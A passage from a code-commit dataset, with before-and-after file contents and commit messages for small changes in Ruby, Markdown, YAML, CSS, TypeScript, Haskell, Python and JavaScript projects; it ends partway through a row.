commit
stringlengths
40
40
old_file
stringlengths
4
237
new_file
stringlengths
4
237
old_contents
stringlengths
1
4.24k
new_contents
stringlengths
5
4.84k
subject
stringlengths
15
778
message
stringlengths
16
6.86k
lang
stringlengths
1
30
license
stringclasses
13 values
repos
stringlengths
5
116k
config
stringlengths
1
30
content
stringlengths
105
8.72k
5f5606bdd960b69a5c9126c510da30f3282e03ba
lib/last_hit/configure.rb
lib/last_hit/configure.rb
module LastHit class Configure @test_command = "bundle exec rspec" @default_base_branch = "development" class << self attr_accessor :test_command, :default_base_branch def config yield(self) end end end end
class LastHit def self.config yield(Configure) if block_given? end class Configure @test_command = "bundle exec rspec" @default_base_branch = "development" class << self attr_accessor :test_command, :default_base_branch end end end
Change the way of config
Change the way of config
Ruby
mit
lmduc/last_hit
ruby
## Code Before: module LastHit class Configure @test_command = "bundle exec rspec" @default_base_branch = "development" class << self attr_accessor :test_command, :default_base_branch def config yield(self) end end end end ## Instruction: Change the way of config ## Code After: class LastHit def self.config yield(Configure) if block_given? end class Configure @test_command = "bundle exec rspec" @default_base_branch = "development" class << self attr_accessor :test_command, :default_base_branch end end end
86f2d7d7317bcf3991a67e1dbb0d2aefba05b79f
README.md
README.md
![Angel Sensor logo](https://github.com/SeraphimSense/angel-sdk/blob/master/assets/Logo-Black-on-white.png) Angel Sensor SDK ================ [Angel Sensor](http://angelsensor.com/) is an open wearable for developers who're building new mobile health products. Angel Sensor tracks heart rate, blood oxygen, skin temperature, steps, sleep quality, calories, acceleration, and orientation. It offers unrestricted, real-time API to its sensors and full control of the data. Angel Sensor SDK, Bluetooth profiles and apps are open source. The SDK supports iOS and Android. Full API reference for Android can be found [here](https://seraphimsense.github.io/angel-sdk/). BLE profiles and data formats are documented [here](http://seraphimsense.github.io/io/) (under construction). Angel SDK is under active development. For details, please refer to [www.angelsensor.com/developers](http://www.angelsensor.com/developers/).
![Angel Sensor logo](https://github.com/AngelSensor/angel-sdk/blob/master/assets/Logo-Black-on-white.png) Angel Sensor SDK ================ [Angel Sensor](http://angelsensor.com/) is an open wearable for developers who're building new mobile health products. Angel Sensor tracks heart rate, skin temperature, steps, sleep quality, calories, acceleration, and orientation. It offers unrestricted, real-time API to its sensors and full control of the data. Angel Sensor SDK, Bluetooth profiles and apps are open source. The SDK supports iOS and Android. Simply put, Angel Sensor is a wearable component to build stuff with. Full API reference for Android can be found [here](https://angelsensor.github.io/angel-sdk/). The iOS version is not public yet (under construction), but we'd gladly share it if you're interested. Please send download requests to [[email protected]](mailto:[email protected]). Angel Sensor SDK is under active development. For more info, please refer to [www.angelsensor.com/develop](http://www.angelsensor.com/develop/).
Update links to the new GitHub URL
Update links to the new GitHub URL
Markdown
bsd-3-clause
AngelSensor/angel-sdk,AngelSensor/angel-sdk,SeraphimSense/angel-sdk,SeraphimSense/angel-sdk,AngelSensor/angel-sdk,AngelSensor/angel-sdk,AngelSensor/angel-sdk
markdown
## Code Before: ![Angel Sensor logo](https://github.com/SeraphimSense/angel-sdk/blob/master/assets/Logo-Black-on-white.png) Angel Sensor SDK ================ [Angel Sensor](http://angelsensor.com/) is an open wearable for developers who're building new mobile health products. Angel Sensor tracks heart rate, blood oxygen, skin temperature, steps, sleep quality, calories, acceleration, and orientation. It offers unrestricted, real-time API to its sensors and full control of the data. Angel Sensor SDK, Bluetooth profiles and apps are open source. The SDK supports iOS and Android. Full API reference for Android can be found [here](https://seraphimsense.github.io/angel-sdk/). BLE profiles and data formats are documented [here](http://seraphimsense.github.io/io/) (under construction). Angel SDK is under active development. For details, please refer to [www.angelsensor.com/developers](http://www.angelsensor.com/developers/). ## Instruction: Update links to the new GitHub URL ## Code After: ![Angel Sensor logo](https://github.com/AngelSensor/angel-sdk/blob/master/assets/Logo-Black-on-white.png) Angel Sensor SDK ================ [Angel Sensor](http://angelsensor.com/) is an open wearable for developers who're building new mobile health products. Angel Sensor tracks heart rate, skin temperature, steps, sleep quality, calories, acceleration, and orientation. It offers unrestricted, real-time API to its sensors and full control of the data. Angel Sensor SDK, Bluetooth profiles and apps are open source. The SDK supports iOS and Android. Simply put, Angel Sensor is a wearable component to build stuff with. Full API reference for Android can be found [here](https://angelsensor.github.io/angel-sdk/). The iOS version is not public yet (under construction), but we'd gladly share it if you're interested. Please send download requests to [[email protected]](mailto:[email protected]). Angel Sensor SDK is under active development. For more info, please refer to [www.angelsensor.com/develop](http://www.angelsensor.com/develop/).
2d321a96cefac11c8ca393ae55276d4861ce848d
circle.yml
circle.yml
machine: environment: PROJECT_GOPATH: "${HOME}/.go_project" PROJECT_PARENT_PATH: "${PROJECT_GOPATH}/src/github.com/${CIRCLE_PROJECT_USERNAME}" PROJECT_PATH: "${PROJECT_PARENT_PATH}/${CIRCLE_PROJECT_REPONAME}" GOPATH: "${PROJECT_GOPATH}"
machine: environment: PROJECT_GOPATH: "${HOME}/.go_project" PROJECT_PARENT_PATH: "${PROJECT_GOPATH}/src/github.com/${CIRCLE_PROJECT_USERNAME}" PROJECT_PATH: "${PROJECT_PARENT_PATH}/${CIRCLE_PROJECT_REPONAME}" GOPATH: "${PROJECT_GOPATH}" dependencies: override: - go build -v -o $CIRCLE_ARTIFACTS/rnchat
Move built app to artifact directory
Move built app to artifact directory
YAML
mit
mthmulders/rnchat
yaml
## Code Before: machine: environment: PROJECT_GOPATH: "${HOME}/.go_project" PROJECT_PARENT_PATH: "${PROJECT_GOPATH}/src/github.com/${CIRCLE_PROJECT_USERNAME}" PROJECT_PATH: "${PROJECT_PARENT_PATH}/${CIRCLE_PROJECT_REPONAME}" GOPATH: "${PROJECT_GOPATH}" ## Instruction: Move built app to artifact directory ## Code After: machine: environment: PROJECT_GOPATH: "${HOME}/.go_project" PROJECT_PARENT_PATH: "${PROJECT_GOPATH}/src/github.com/${CIRCLE_PROJECT_USERNAME}" PROJECT_PATH: "${PROJECT_PARENT_PATH}/${CIRCLE_PROJECT_REPONAME}" GOPATH: "${PROJECT_GOPATH}" dependencies: override: - go build -v -o $CIRCLE_ARTIFACTS/rnchat
f83be2c59fa80a9af8721cd8dd8699290a05d0e7
doc_assets/css/style.css
doc_assets/css/style.css
.exampleOutput { display: flex; border: 1px solid rgb(224, 224, 224); padding: 3rem; } .example-grid-content { background: rgb(224, 224, 224); display: flex; } .exampleOutput .btn + .btn { margin-left: 1rem; }
.exampleOutput { display: flex; border: 1px solid rgb(224, 224, 224); padding: 3rem; border-top-left-radius: 4px; border-top-right-radius: 4px; } .codeBlock pre { border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; } .example-grid-content { background: rgb(224, 224, 224); display: flex; } .exampleOutput .btn + .btn { margin-left: 1rem; }
Add slight border-radius to code examples
Add slight border-radius to code examples
CSS
mit
adfinis-sygroup/adcssy,adfinis-sygroup/adcssy,topaxi/adcssy,topaxi/adcssy
css
## Code Before: .exampleOutput { display: flex; border: 1px solid rgb(224, 224, 224); padding: 3rem; } .example-grid-content { background: rgb(224, 224, 224); display: flex; } .exampleOutput .btn + .btn { margin-left: 1rem; } ## Instruction: Add slight border-radius to code examples ## Code After: .exampleOutput { display: flex; border: 1px solid rgb(224, 224, 224); padding: 3rem; border-top-left-radius: 4px; border-top-right-radius: 4px; } .codeBlock pre { border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; } .example-grid-content { background: rgb(224, 224, 224); display: flex; } .exampleOutput .btn + .btn { margin-left: 1rem; }
3d5dcdf1155453c1552cc572972b79e0039ccc0a
src/tests/languageTests/expression/objectTypeTests.ts
src/tests/languageTests/expression/objectTypeTests.ts
import {getInfoFromString} from "./../../../main"; import {runFileDefinitionTests} from "./../../testHelpers"; describe("object type tests", () => { const code = ` let obj: { myString: string; myOtherType?: Note; myNext: string; myNext2: string; myReallyReallyReallyReallyReallyLongName: string; }; class Note { prop: string; }`; const def = getInfoFromString(code); runFileDefinitionTests(def, { variables: [{ name: "obj", type: { text: "{ myString: string; myOtherType?: Note; myNext: string; myNext2: string; myReallyReallyReallyReallyReallyLongName: string; }", properties: [{ name: "myString", type: { text: "string" } }, { name: "myOtherType", isOptional: true, type: { text: "Note", properties: [] // shouldn't have any properties } }, { name: "myNext", type: { text: "string" } }, { name: "myNext2", type: { text: "string" } }, { name: "myReallyReallyReallyReallyReallyLongName", type: { text: "string" } }] } }], classes: [{ name: "Note", properties: [{ name: "prop", type: { text: "string" } }] }] }); });
import {getInfoFromString} from "./../../../main"; import {runFileDefinitionTests} from "./../../testHelpers"; describe("object type tests", () => { const code = ` let obj: { readonly myString: string; myOtherType?: Note; myNext: string; myNext2: string; myReallyReallyReallyReallyReallyLongName: string; }; class Note { prop: string; }`; const def = getInfoFromString(code); runFileDefinitionTests(def, { variables: [{ name: "obj", type: { text: "{ readonly myString: string; myOtherType?: Note; myNext: string; myNext2: string; myReallyReallyReallyReallyReallyLongName: string; }", properties: [{ name: "myString", type: { text: "string" }, isReadonly: true }, { name: "myOtherType", isOptional: true, type: { text: "Note", properties: [] // shouldn't have any properties } }, { name: "myNext", type: { text: "string" } }, { name: "myNext2", type: { text: "string" } }, { name: "myReallyReallyReallyReallyReallyLongName", type: { text: "string" } }] } }], classes: [{ name: "Note", properties: [{ name: "prop", type: { text: "string" } }] }] }); });
Test for readonly in object type.
Test for readonly in object type.
TypeScript
mit
dsherret/ts-type-info,dsherret/type-info-ts,dsherret/ts-type-info,dsherret/type-info-ts
typescript
## Code Before: import {getInfoFromString} from "./../../../main"; import {runFileDefinitionTests} from "./../../testHelpers"; describe("object type tests", () => { const code = ` let obj: { myString: string; myOtherType?: Note; myNext: string; myNext2: string; myReallyReallyReallyReallyReallyLongName: string; }; class Note { prop: string; }`; const def = getInfoFromString(code); runFileDefinitionTests(def, { variables: [{ name: "obj", type: { text: "{ myString: string; myOtherType?: Note; myNext: string; myNext2: string; myReallyReallyReallyReallyReallyLongName: string; }", properties: [{ name: "myString", type: { text: "string" } }, { name: "myOtherType", isOptional: true, type: { text: "Note", properties: [] // shouldn't have any properties } }, { name: "myNext", type: { text: "string" } }, { name: "myNext2", type: { text: "string" } }, { name: "myReallyReallyReallyReallyReallyLongName", type: { text: "string" } }] } }], classes: [{ name: "Note", properties: [{ name: "prop", type: { text: "string" } }] }] }); }); ## Instruction: Test for readonly in object type. ## Code After: import {getInfoFromString} from "./../../../main"; import {runFileDefinitionTests} from "./../../testHelpers"; describe("object type tests", () => { const code = ` let obj: { readonly myString: string; myOtherType?: Note; myNext: string; myNext2: string; myReallyReallyReallyReallyReallyLongName: string; }; class Note { prop: string; }`; const def = getInfoFromString(code); runFileDefinitionTests(def, { variables: [{ name: "obj", type: { text: "{ readonly myString: string; myOtherType?: Note; myNext: string; myNext2: string; myReallyReallyReallyReallyReallyLongName: string; }", properties: [{ name: "myString", type: { text: "string" }, isReadonly: true }, { name: "myOtherType", isOptional: true, type: { text: "Note", properties: [] // shouldn't have any properties } }, { name: "myNext", type: { text: "string" } }, { name: "myNext2", type: { text: "string" } }, { name: "myReallyReallyReallyReallyReallyLongName", type: { text: "string" } }] } }], classes: [{ name: "Note", properties: [{ name: "prop", type: { text: "string" } }] }] }); });
7efaaacd7d0839ddc0ea036efc0181e2f02cfd4c
lib/domgen/gwt/templates/aggregate_module.java.erb
lib/domgen/gwt/templates/aggregate_module.java.erb
/* DO NOT EDIT: File is auto-generated */ package <%= to_package(repository.gwt.qualified_aggregate_module_name) %>; @javax.annotation.Generated( "Domgen" ) @java.lang.SuppressWarnings( { "UnusedDeclaration", "JavaDoc" } ) public class <%= repository.gwt.aggregate_module_name %> extends com.google.gwt.inject.client.AbstractGinModule { @java.lang.Override protected void configure() { <% if repository.gwt_rpc? -%> install( new <%= repository.gwt_rpc.qualified_rpc_services_module_name %>() ); <% end -%> <% if repository.imit? -%> install( new org.realityforge.replicant.client.gwt.ReplicantGinModule() ); install( new <%= repository.imit.qualified_services_module_name %>() ); <% end -%> } }
/* DO NOT EDIT: File is auto-generated */ package <%= to_package(repository.gwt.qualified_aggregate_module_name) %>; @javax.annotation.Generated( "Domgen" ) @java.lang.SuppressWarnings( { "UnusedDeclaration", "JavaDoc" } ) public class <%= repository.gwt.aggregate_module_name %> extends com.google.gwt.inject.client.AbstractGinModule { private final boolean _standalone; public <%= repository.gwt.aggregate_module_name %>() { this( true ); } public <%= repository.gwt.aggregate_module_name %>( final boolean standalone ) { _standalone = standalone; } @java.lang.Override protected void configure() { <% if repository.gwt_rpc? -%> install( new <%= repository.gwt_rpc.qualified_rpc_services_module_name %>() ); <% end -%> <% if repository.imit? -%> if ( _standalone ) { install( new org.realityforge.replicant.client.gwt.ReplicantGinModule() ); } install( new <%= repository.imit.qualified_services_module_name %>() ); <% end -%> } }
Add the ability to optionally exclude the addition of replicant support module. This makes it easy to integrate multiple modules that expose replicant services.
Add the ability to optionally exclude the addition of replicant support module. This makes it easy to integrate multiple modules that expose replicant services.
HTML+ERB
apache-2.0
realityforge/domgen,icaughley/domgen,realityforge/domgen,icaughley/domgen
html+erb
## Code Before: /* DO NOT EDIT: File is auto-generated */ package <%= to_package(repository.gwt.qualified_aggregate_module_name) %>; @javax.annotation.Generated( "Domgen" ) @java.lang.SuppressWarnings( { "UnusedDeclaration", "JavaDoc" } ) public class <%= repository.gwt.aggregate_module_name %> extends com.google.gwt.inject.client.AbstractGinModule { @java.lang.Override protected void configure() { <% if repository.gwt_rpc? -%> install( new <%= repository.gwt_rpc.qualified_rpc_services_module_name %>() ); <% end -%> <% if repository.imit? -%> install( new org.realityforge.replicant.client.gwt.ReplicantGinModule() ); install( new <%= repository.imit.qualified_services_module_name %>() ); <% end -%> } } ## Instruction: Add the ability to optionally exclude the addition of replicant support module. This makes it easy to integrate multiple modules that expose replicant services. ## Code After: /* DO NOT EDIT: File is auto-generated */ package <%= to_package(repository.gwt.qualified_aggregate_module_name) %>; @javax.annotation.Generated( "Domgen" ) @java.lang.SuppressWarnings( { "UnusedDeclaration", "JavaDoc" } ) public class <%= repository.gwt.aggregate_module_name %> extends com.google.gwt.inject.client.AbstractGinModule { private final boolean _standalone; public <%= repository.gwt.aggregate_module_name %>() { this( true ); } public <%= repository.gwt.aggregate_module_name %>( final boolean standalone ) { _standalone = standalone; } @java.lang.Override protected void configure() { <% if repository.gwt_rpc? -%> install( new <%= repository.gwt_rpc.qualified_rpc_services_module_name %>() ); <% end -%> <% if repository.imit? -%> if ( _standalone ) { install( new org.realityforge.replicant.client.gwt.ReplicantGinModule() ); } install( new <%= repository.imit.qualified_services_module_name %>() ); <% end -%> } }
117d2b78b9878278840808b049ca8b428c81d2ac
Examples/Test/Makefile.hs
Examples/Test/Makefile.hs
module Examples.Test.Makefile(main) where import Development.Shake(action, liftIO) import Development.Shake.FilePath import qualified Development.Make.Main as Makefile import System.Environment import System.Directory import Examples.Util import Control.Monad import Data.List import Data.Maybe main = shaken test $ \args obj -> action $ liftIO $ do withArgs [fromMaybe x $ stripPrefix "@" x | x <- args] Makefile.main test build obj = do let copyTo from to = do xs <- getDirectoryContents from createDirectoryIfMissing True (obj to) forM_ xs $ \x -> when (not $ all (== '.') x) $ copyFile (from </> x) (obj to </> x) copyTo "Examples/MakeTutor" "MakeTutor" build ["--directory=" ++ obj "MakeTutor","--no-report"] build ["--directory=" ++ obj "MakeTutor","@clean","--no-report"]
module Examples.Test.Makefile(main) where import Development.Shake(action, liftIO) import Development.Shake.FilePath import qualified Development.Make.Main as Makefile import System.Environment import System.Directory import Examples.Util import Control.Monad import Data.List import Data.Maybe main = shaken test $ \args obj -> action $ liftIO $ do withArgs [fromMaybe x $ stripPrefix "@" x | x <- args] Makefile.main test build obj = do let copyTo from to = do xs <- getDirectoryContents from createDirectoryIfMissing True (obj to) forM_ xs $ \x -> when (not $ all (== '.') x) $ copyFile (from </> x) (obj to </> x) copyTo "Examples/MakeTutor" "MakeTutor" build ["--directory=" ++ obj "MakeTutor","--no-report"] build ["--directory=" ++ obj "MakeTutor","--no-report"] build ["--directory=" ++ obj "MakeTutor","@clean","--no-report"]
Test the makefile actually rebuilds the second time round
Test the makefile actually rebuilds the second time round
Haskell
bsd-3-clause
nh2/shake,ndmitchell/shake,ndmitchell/shake,nh2/shake,ndmitchell/shake,ndmitchell/shake,ndmitchell/shake,ndmitchell/shake,nh2/shake,nh2/shake,nh2/shake
haskell
## Code Before: module Examples.Test.Makefile(main) where import Development.Shake(action, liftIO) import Development.Shake.FilePath import qualified Development.Make.Main as Makefile import System.Environment import System.Directory import Examples.Util import Control.Monad import Data.List import Data.Maybe main = shaken test $ \args obj -> action $ liftIO $ do withArgs [fromMaybe x $ stripPrefix "@" x | x <- args] Makefile.main test build obj = do let copyTo from to = do xs <- getDirectoryContents from createDirectoryIfMissing True (obj to) forM_ xs $ \x -> when (not $ all (== '.') x) $ copyFile (from </> x) (obj to </> x) copyTo "Examples/MakeTutor" "MakeTutor" build ["--directory=" ++ obj "MakeTutor","--no-report"] build ["--directory=" ++ obj "MakeTutor","@clean","--no-report"] ## Instruction: Test the makefile actually rebuilds the second time round ## Code After: module Examples.Test.Makefile(main) where import Development.Shake(action, liftIO) import Development.Shake.FilePath import qualified Development.Make.Main as Makefile import System.Environment import System.Directory import Examples.Util import Control.Monad import Data.List import Data.Maybe main = shaken test $ \args obj -> action $ liftIO $ do withArgs [fromMaybe x $ stripPrefix "@" x | x <- args] Makefile.main test build obj = do let copyTo from to = do xs <- getDirectoryContents from createDirectoryIfMissing True (obj to) forM_ xs $ \x -> when (not $ all (== '.') x) $ copyFile (from </> x) (obj to </> x) copyTo "Examples/MakeTutor" "MakeTutor" build ["--directory=" ++ obj "MakeTutor","--no-report"] build ["--directory=" ++ obj "MakeTutor","--no-report"] build ["--directory=" ++ obj "MakeTutor","@clean","--no-report"]
ff3a7ad122af4cc1cdfa0b882b2d1d7366d640f2
tests/unit/test_secret.py
tests/unit/test_secret.py
import libnacl.secret # Import python libs import unittest class TestSecret(unittest.TestCase): ''' ''' def test_secret(self): msg = b'But then of course African swallows are not migratory.' box = libnacl.secret.SecretBox() ctxt = box.encrypt(msg) self.assertNotEqual(msg, ctxt) box2 = libnacl.secret.SecretBox(box.sk) clear1 = box.decrypt(ctxt) self.assertEqual(msg, clear1) clear2 = box2.decrypt(ctxt) self.assertEqual(clear1, clear2) ctxt2 = box2.encrypt(msg) clear3 = box.decrypt(ctxt2) self.assertEqual(clear3, msg)
import libnacl.secret # Import python libs import unittest class TestSecret(unittest.TestCase): ''' ''' def test_secret(self): msg = b'But then of course African swallows are not migratory.' box = libnacl.secret.SecretBox() ctxt = box.encrypt(msg) self.assertNotEqual(msg, ctxt) box2 = libnacl.secret.SecretBox(box.sk) clear1 = box.decrypt(ctxt) self.assertEqual(msg, clear1) clear2 = box2.decrypt(ctxt) self.assertEqual(clear1, clear2) ctxt2 = box2.encrypt(msg) clear3 = box.decrypt(ctxt2) self.assertEqual(clear3, msg) def test_unicode_issues(self): msg = u'Unicode string' box = libnacl.secret.SecretBox() # Encrypting a unicode string (in py2) should # probable assert, but instead it encryptes zeros, # perhaps the high bytes in UCS-16? ctxt = box.encrypt(msg) self.assertNotEqual(msg, ctxt) box2 = libnacl.secret.SecretBox(box.sk) clear1 = box.decrypt(ctxt) self.assertEqual(msg, clear1) clear2 = box2.decrypt(ctxt) self.assertEqual(clear1, clear2) ctxt2 = box2.encrypt(msg) clear3 = box.decrypt(ctxt2) self.assertEqual(clear3, msg)
Add failing test for unicode string encryption
Add failing test for unicode string encryption
Python
apache-2.0
coinkite/libnacl
python
## Code Before: import libnacl.secret # Import python libs import unittest class TestSecret(unittest.TestCase): ''' ''' def test_secret(self): msg = b'But then of course African swallows are not migratory.' box = libnacl.secret.SecretBox() ctxt = box.encrypt(msg) self.assertNotEqual(msg, ctxt) box2 = libnacl.secret.SecretBox(box.sk) clear1 = box.decrypt(ctxt) self.assertEqual(msg, clear1) clear2 = box2.decrypt(ctxt) self.assertEqual(clear1, clear2) ctxt2 = box2.encrypt(msg) clear3 = box.decrypt(ctxt2) self.assertEqual(clear3, msg) ## Instruction: Add failing test for unicode string encryption ## Code After: import libnacl.secret # Import python libs import unittest class TestSecret(unittest.TestCase): ''' ''' def test_secret(self): msg = b'But then of course African swallows are not migratory.' box = libnacl.secret.SecretBox() ctxt = box.encrypt(msg) self.assertNotEqual(msg, ctxt) box2 = libnacl.secret.SecretBox(box.sk) clear1 = box.decrypt(ctxt) self.assertEqual(msg, clear1) clear2 = box2.decrypt(ctxt) self.assertEqual(clear1, clear2) ctxt2 = box2.encrypt(msg) clear3 = box.decrypt(ctxt2) self.assertEqual(clear3, msg) def test_unicode_issues(self): msg = u'Unicode string' box = libnacl.secret.SecretBox() # Encrypting a unicode string (in py2) should # probable assert, but instead it encryptes zeros, # perhaps the high bytes in UCS-16? ctxt = box.encrypt(msg) self.assertNotEqual(msg, ctxt) box2 = libnacl.secret.SecretBox(box.sk) clear1 = box.decrypt(ctxt) self.assertEqual(msg, clear1) clear2 = box2.decrypt(ctxt) self.assertEqual(clear1, clear2) ctxt2 = box2.encrypt(msg) clear3 = box.decrypt(ctxt2) self.assertEqual(clear3, msg)
b7ea2db86ad67410330d412a8733cb4dab2c4109
partner_academic_title/models/partner_academic_title.py
partner_academic_title/models/partner_academic_title.py
from openerp import models, fields class PartnerAcademicTitle(models.Model): _name = 'partner.academic.title' name = fields.Char(required=True) sequence = fields.Integer(required=True, help="""defines the order to display titles""") active = fields.Boolean(default=True)
from openerp import models, fields class PartnerAcademicTitle(models.Model): _name = 'partner.academic.title' name = fields.Char(required=True, translate=True) sequence = fields.Integer(required=True, help="""defines the order to display titles""") active = fields.Boolean(default=True)
Add translate=True on academic title name
Add translate=True on academic title name
Python
agpl-3.0
sergiocorato/partner-contact
python
## Code Before: from openerp import models, fields class PartnerAcademicTitle(models.Model): _name = 'partner.academic.title' name = fields.Char(required=True) sequence = fields.Integer(required=True, help="""defines the order to display titles""") active = fields.Boolean(default=True) ## Instruction: Add translate=True on academic title name ## Code After: from openerp import models, fields class PartnerAcademicTitle(models.Model): _name = 'partner.academic.title' name = fields.Char(required=True, translate=True) sequence = fields.Integer(required=True, help="""defines the order to display titles""") active = fields.Boolean(default=True)
fe6b7b9abb8e9730a3d028850337c047fe6607ea
tests/unit/services/user/test_models_full_name.py
tests/unit/services/user/test_models_full_name.py
import pytest from testfixtures.user import create_user_with_detail @pytest.mark.parametrize( 'first_names, last_name, expected', [ (None, None , None ), ('Giesbert Z.', None , 'Giesbert Z.' ), (None, 'Blümli', 'Blümli' ), ('Giesbert Z.', 'Blümli', 'Giesbert Z. Blümli'), ], ) def test_full_name(first_names, last_name, expected): user = create_user_with_detail(first_names=first_names, last_name=last_name) assert user.detail.full_name == expected
from datetime import datetime import pytest from byceps.services.user.models.user import User as DbUser from byceps.services.user.models.detail import UserDetail as DbUserDetail @pytest.mark.parametrize( 'first_names, last_name, expected', [ (None, None , None ), ('Giesbert Z.', None , 'Giesbert Z.' ), (None, 'Blümli', 'Blümli' ), ('Giesbert Z.', 'Blümli', 'Giesbert Z. Blümli'), ], ) def test_full_name(first_names, last_name, expected): user = create_user(first_names, last_name) assert user.detail.full_name == expected def create_user(first_names: str, last_name: str) -> DbUser: created_at = datetime.utcnow() screen_name = 'Anyone' email_address = '[email protected]' user = DbUser(created_at, screen_name, email_address) detail = DbUserDetail(user=user) detail.first_names = first_names detail.last_name = last_name return user
Create fullname user object locally in test
Create fullname user object locally in test
Python
bsd-3-clause
homeworkprod/byceps,homeworkprod/byceps,homeworkprod/byceps
python
## Code Before: import pytest from testfixtures.user import create_user_with_detail @pytest.mark.parametrize( 'first_names, last_name, expected', [ (None, None , None ), ('Giesbert Z.', None , 'Giesbert Z.' ), (None, 'Blümli', 'Blümli' ), ('Giesbert Z.', 'Blümli', 'Giesbert Z. Blümli'), ], ) def test_full_name(first_names, last_name, expected): user = create_user_with_detail(first_names=first_names, last_name=last_name) assert user.detail.full_name == expected ## Instruction: Create fullname user object locally in test ## Code After: from datetime import datetime import pytest from byceps.services.user.models.user import User as DbUser from byceps.services.user.models.detail import UserDetail as DbUserDetail @pytest.mark.parametrize( 'first_names, last_name, expected', [ (None, None , None ), ('Giesbert Z.', None , 'Giesbert Z.' ), (None, 'Blümli', 'Blümli' ), ('Giesbert Z.', 'Blümli', 'Giesbert Z. Blümli'), ], ) def test_full_name(first_names, last_name, expected): user = create_user(first_names, last_name) assert user.detail.full_name == expected def create_user(first_names: str, last_name: str) -> DbUser: created_at = datetime.utcnow() screen_name = 'Anyone' email_address = '[email protected]' user = DbUser(created_at, screen_name, email_address) detail = DbUserDetail(user=user) detail.first_names = first_names detail.last_name = last_name return user
705ccf213641f5a9daac20fb58f753140f2c81df
kustomize/overlays/uat/service.yaml
kustomize/overlays/uat/service.yaml
apiVersion: v1 kind: Service metadata: name: ibms spec: type: ClusterIP clusterIP: None ports: - name: default port: 42 protocol: TCP targetPort: 42 selector: app: ibms --- apiVersion: v1 kind: Service metadata: name: ingress-ibms spec: type: ClusterIP ports: - name: wsgi port: 8080 protocol: TCP targetPort: 8080 selector: app: ibms
apiVersion: v1 kind: Service metadata: name: ibms spec: type: ClusterIP clusterIP: None ports: - name: default port: 42 protocol: TCP targetPort: 42 selector: app: ibms --- apiVersion: v1 kind: Service metadata: name: ingress-ibms spec: type: ClusterIP ports: - name: wsgi port: 8080 protocol: TCP targetPort: 8080 selector: app: ibms --- apiVersion: v1 kind: Service metadata: name: ibms-db spec: type: ClusterIP clusterIP: None ports: - name: default port: 42 protocol: TCP targetPort: 42 selector: workloadselector: ibms-db
Add Service for ibms-db workload.
Add Service for ibms-db workload.
YAML
apache-2.0
parksandwildlife/ibms,parksandwildlife/ibms,parksandwildlife/ibms
yaml
## Code Before: apiVersion: v1 kind: Service metadata: name: ibms spec: type: ClusterIP clusterIP: None ports: - name: default port: 42 protocol: TCP targetPort: 42 selector: app: ibms --- apiVersion: v1 kind: Service metadata: name: ingress-ibms spec: type: ClusterIP ports: - name: wsgi port: 8080 protocol: TCP targetPort: 8080 selector: app: ibms ## Instruction: Add Service for ibms-db workload. ## Code After: apiVersion: v1 kind: Service metadata: name: ibms spec: type: ClusterIP clusterIP: None ports: - name: default port: 42 protocol: TCP targetPort: 42 selector: app: ibms --- apiVersion: v1 kind: Service metadata: name: ingress-ibms spec: type: ClusterIP ports: - name: wsgi port: 8080 protocol: TCP targetPort: 8080 selector: app: ibms --- apiVersion: v1 kind: Service metadata: name: ibms-db spec: type: ClusterIP clusterIP: None ports: - name: default port: 42 protocol: TCP targetPort: 42 selector: workloadselector: ibms-db
1e79060197f4aa803c1a0328c027ef755d6db500
index.js
index.js
var path = require('path') // Export function to create new config (builder is passed in from outside) module.exports = function (builder) { var bootstrapLess = require.resolve('bootstrap/less/bootstrap.less') return builder.merge({ handlebars: { templates: path.resolve(__dirname, 'handlebars', 'templates'), partials: path.resolve(__dirname, 'handlebars', 'partials'), helpers: require.resolve('./handlebars/helpers.js'), /** * A preprocessor that may return a modified json before entering the rendering process. * Access the inherited preprocessor is possible via <code>this.previous(json)</code> * @param obj the input object * @return a modified object or a promise for a modified object. */ preprocessor: function (obj) { return obj } }, less: { main: [ bootstrapLess, require.resolve('./less/main.less') ], paths: [ path.dirname(bootstrapLess) ] } }) } // Add "package" to be used by bootprint-doc-generator module.exports.package = require('./package')
var path = require('path') // Export function to create new config (builder is passed in from outside) module.exports = function (builder) { var bootstrapLess = require.resolve('bootstrap/less/bootstrap.less') return builder.merge({ handlebars: { templates: path.resolve(__dirname, 'handlebars', 'templates'), partials: path.resolve(__dirname, 'handlebars', 'partials'), helpers: require.resolve('./handlebars/helpers.js'), /** * A preprocessor that may return a modified json before entering the rendering process. * Access the inherited preprocessor is possible via <code>this.previous(json)</code> * @param obj the input object * @return a modified object or a promise for a modified object. */ preprocessor: function (obj) { return obj } }, less: { main: [ bootstrapLess, require.resolve('highlight.js/styles/default.css'), require.resolve('./less/main.less') ], paths: [ path.dirname(bootstrapLess) ] } }) } // Add "package" to be used by bootprint-doc-generator module.exports.package = require('./package')
Include `highlight.js`-styles into less file.
Include `highlight.js`-styles into less file. Fixes bootprint/bootprint#16 This commit ensures that the styling of examples in bootprint-openapi is visible.
JavaScript
mit
nknapp/bootprint-base,bootprint/bootprint-base,bootprint/bootprint-base,nknapp/bootprint-base
javascript
## Code Before: var path = require('path') // Export function to create new config (builder is passed in from outside) module.exports = function (builder) { var bootstrapLess = require.resolve('bootstrap/less/bootstrap.less') return builder.merge({ handlebars: { templates: path.resolve(__dirname, 'handlebars', 'templates'), partials: path.resolve(__dirname, 'handlebars', 'partials'), helpers: require.resolve('./handlebars/helpers.js'), /** * A preprocessor that may return a modified json before entering the rendering process. * Access the inherited preprocessor is possible via <code>this.previous(json)</code> * @param obj the input object * @return a modified object or a promise for a modified object. */ preprocessor: function (obj) { return obj } }, less: { main: [ bootstrapLess, require.resolve('./less/main.less') ], paths: [ path.dirname(bootstrapLess) ] } }) } // Add "package" to be used by bootprint-doc-generator module.exports.package = require('./package') ## Instruction: Include `highlight.js`-styles into less file. Fixes bootprint/bootprint#16 This commit ensures that the styling of examples in bootprint-openapi is visible. ## Code After: var path = require('path') // Export function to create new config (builder is passed in from outside) module.exports = function (builder) { var bootstrapLess = require.resolve('bootstrap/less/bootstrap.less') return builder.merge({ handlebars: { templates: path.resolve(__dirname, 'handlebars', 'templates'), partials: path.resolve(__dirname, 'handlebars', 'partials'), helpers: require.resolve('./handlebars/helpers.js'), /** * A preprocessor that may return a modified json before entering the rendering process. * Access the inherited preprocessor is possible via <code>this.previous(json)</code> * @param obj the input object * @return a modified object or a promise for a modified object. */ preprocessor: function (obj) { return obj } }, less: { main: [ bootstrapLess, require.resolve('highlight.js/styles/default.css'), require.resolve('./less/main.less') ], paths: [ 